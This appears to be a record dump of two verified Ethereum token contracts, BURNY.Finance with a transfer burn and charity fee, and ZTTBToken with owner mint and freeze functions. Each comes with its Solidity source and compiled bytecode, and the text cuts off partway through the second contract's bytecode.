// SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BURNY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000000 * 10**18; address public charityWallet; string private _name = 'BURNY.Finance'; string private _symbol = 'BURNY'; uint8 private _decimals = 18; uint public burnDisabledAtAmount = 200000000000 * 10**18; bool public burnEnabled; constructor (address _charityWallet) { _balances[msg.sender] = _totalSupply; charityWallet = _charityWallet; burnEnabled = true; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function setBurnEnabled (bool enabled) public onlyOwner() { burnEnabled = enabled; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); uint currentTotalSupply = _totalSupply; if (currentTotalSupply <= burnDisabledAtAmount) { burnEnabled = false; } if (burnEnabled) { uint _amount = amount; uint _charityAmount = amount.div(20); uint _burnAmount = amount.mul(15).div(100); uint _transferFee = _charityAmount.add(_burnAmount); uint _amountToTransfer = _amount.sub(_transferFee); _balances[sender] = senderBalance.sub(_amount); _totalSupply = _totalSupply.sub(_burnAmount); _balances[charityWallet] = _balances[charityWallet].add(_charityAmount); _balances[recipient] = _balances[recipient].add(_amountToTransfer); emit Transfer(sender, address(0), _burnAmount); emit Transfer(sender, recipient, amount); } else { _balances[sender] = senderBalance.sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b4114610461578063a457c2d7146104e4578063a9059cbb14610548578063dd62ed3e146105ac578063f2fde38b1461062457610116565b8063715018a6146103bf5780637b208769146103c95780637b2c835f146103fd5780638da5cb5b1461042d57610116565b8063313ce567116100e9578063313ce567146102a45780633572265c146102c557806339509351146102e35780635dc96d161461034757806370a082311461036757610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b610123610668565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061070a565b60405180821515815260200191505060405180910390f35b61020a610728565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610732565b60405180821515815260200191505060405180910390f35b6102ac610840565b604051808260ff16815260200191505060405180910390f35b6102cd610849565b6040518082815260200191505060405180910390f35b61032f600480360360408110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061084f565b60405180821515815260200191505060405180910390f35b61034f6108f2565b60405180821515815260200191505060405180910390f35b6103a96004803603602081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610905565b6040518082815260200191505060405180910390f35b6103c761094e565b005b6103d1610ad4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61042b6004803603602081101561041357600080fd5b81019080803515159060200190929190505050610afa565b005b610435610bdf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610469610c08565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a957808201518184015260208101905061048e565b50505050905090810190601f1680156104d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610530600480360360408110156104fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610caa565b60405180821515815260200191505060405180910390f35b6105946004803603604081101561055e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dab565b60405180821515815260200191505060405180910390f35b61060e600480360360408110156105c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b6106666004803603602081101561063a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e50565b005b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107005780601f106106d557610100808354040283529160200191610700565b820191906000526020600020905b8154815290600101906020018083116106e357829003601f168201915b5050505050905090565b600061071e61071761105b565b8484611063565b6001905092915050565b6000600354905090565b600061073f84848461125a565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078a61105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610820576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611ca16028913960400191505060405180910390fd5b6108348561082c61105b565b858403611063565b60019150509392505050565b60006012905090565b60085481565b60006108e861085c61105b565b84846002600061086a61105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401611063565b6001905092915050565b600960009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61095661105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a16576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b0261105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600960006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ca05780601f10610c7557610100808354040283529160200191610ca0565b820191906000526020600020905b815481529060010190602001808311610c8357829003601f168201915b5050505050905090565b60008060026000610cb961105b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d126025913960400191505060405180910390fd5b610da0610d9761105b565b85858403611063565b600191505092915050565b6000610dbf610db861105b565b848461125a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e5861105b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c126026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cee6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c386022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cc96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bef6023913960400191505060405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611403576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c5a6026913960400191505060405180910390fd5b60006003549050600854811161142f576000600960006101000a81548160ff0219169083151502179055505b600960009054906101000a900460ff161561176e576000839050600061145f6014866118c690919063ffffffff16565b9050600061148a606461147c600f8961191090919063ffffffff16565b6118c690919063ffffffff16565b905060006114a1828461199690919063ffffffff16565b905060006114b88286611a1e90919063ffffffff16565b90506114cd8588611a1e90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152583600354611a1e90919063ffffffff16565b60038190555061159f8460016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b60016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165681600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040518082815260200191505060405180910390a350505050506118bf565b6117818383611a1e90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061181683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5050505050565b600061190883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a68565b905092915050565b6000808314156119235760009050611990565b600082840290508284828161193457fe5b041461198b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c806021913960400191505060405180910390fd5b809150505b92915050565b600080828401905083811015611a14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611a6083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2e565b905092915050565b60008083118290611b14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ad9578082015181840152602081019050611abe565b50505050905090810190601f168015611b065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611b2057fe5b049050809150509392505050565b6000838311158290611bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ba0578082015181840152602081019050611b85565b50505050905090810190601f168015611bcd5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cc86ba6836980776e38c5c1c7aa86184c6b87db57b520b423bc4aa47025f526464736f6c63430007060033
{"success": true, "error": null, "results": {}}
10,408
0x27798734d18d63b963137a360cadff807d479e50
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract ERC20Basic { function totalSupply() public constant returns (uint supply); function balanceOf( address who ) public constant returns (uint value); function allowance( address owner, address spender ) public constant returns (uint _allowance); function transfer( address to, uint value) public returns (bool ok); function transferFrom( address from, address to, uint value) public returns (bool ok); function approve( address spender, uint value ) public returns (bool ok); // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); } contract TokenERC20 is ERC20Basic{ // Public variables of the token string public name; string public symbol; uint8 public decimals = 4; uint256 _supply; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowance; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol, uint8 decimal ) public { _supply = initialSupply * 10 ** uint256(decimal); // Update total supply with the decimal amount _balances[msg.sender] = _supply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimal; } function totalSupply() public constant returns (uint256) { return _supply; } function balanceOf(address src) public constant returns (uint256) { return _balances[src]; } function allowance(address src, address guy) public constant returns (uint256) { return _allowance[src][guy]; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(_balances[_from] >= _value); // Check for overflows require(_balances[_to] + _value > _balances[_to]); // Save this for an assertion in the future uint previousBalances = _balances[_from] + _balances[_to]; // Subtract from the sender _balances[_from] -= _value; // Add the same to the recipient _balances[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(_balances[_from] + _balances[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool){ _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _allowance[_from][msg.sender]); // Check allowance _allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { _allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approveAndCall(address _spender, uint256 _value) public returns (bool success) { if (approve(_spender, _value)) { Approval(msg.sender, _spender, _value); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(_balances[msg.sender] >= _value); // Check if the sender has enough _balances[msg.sender] -= _value; // Subtract from the sender _supply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(_balances[_from] >= _value); // Check if the targeted balance is enough require(_value <= _allowance[_from][msg.sender]); // Check allowance _balances[_from] -= _value; // Subtract from the targeted balance _allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance _supply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract ZTTBToken is owned, TokenERC20 { uint256 public sellPrice = 0.00000001 ether ; //设置代币的卖的价格等于一个以太币 uint256 public buyPrice = 0.00000001 ether ;//设置代币的买的价格等于一个以太币 mapping (address => bool) public _frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ZTTBToken( uint256 initialSupply, string tokenName, string tokenSymbol, uint8 decimal ) TokenERC20(initialSupply, tokenName, tokenSymbol,decimal) public { _balances[msg.sender] = _supply; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (_balances[_from] >= _value); // Check if the sender has enough require (_balances[_to] + _value > _balances[_to]); // Check for overflows require(!_frozenAccount[_from]); // Check if sender is frozen require(!_frozenAccount[_to]); // Check if recipient is frozen _balances[_from] -= _value; // Subtract from the sender _balances[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { _balances[target] += mintedAmount; _supply += mintedAmount; Transfer(0, owner, mintedAmount); Transfer(owner, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { _frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /** * 实现账户间,代币的转移 * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool){ _transfer(msg.sender, _to, _value); return true; } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(owner, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(owner.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, owner, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610164578063095ea7b3146101f457806318160ddd1461025957806323b872dd14610284578063313ce567146103095780633177029f1461033a57806342966c681461039f5780634b750334146103e457806370a082311461040f57806379c650681461046657806379cc6790146104b35780638620410b146105185780638da5cb5b1461054357806395d89b411461059a578063a6f2ae3a1461062a578063a9059cbb14610634578063d170cb4214610699578063dd62ed3e146106f4578063e4849b321461076b578063e724529c14610798578063f2fde38b146107e7575b600080fd5b34801561013957600080fd5b50610162600480360381019080803590602001909291908035906020019092919050505061082a565b005b34801561017057600080fd5b50610179610897565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610935565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e6109c2565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b506102ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cc565b604051808215151515815260200191505060405180910390f35b34801561031557600080fd5b5061031e610af9565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034657600080fd5b50610385600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0c565b604051808215151515815260200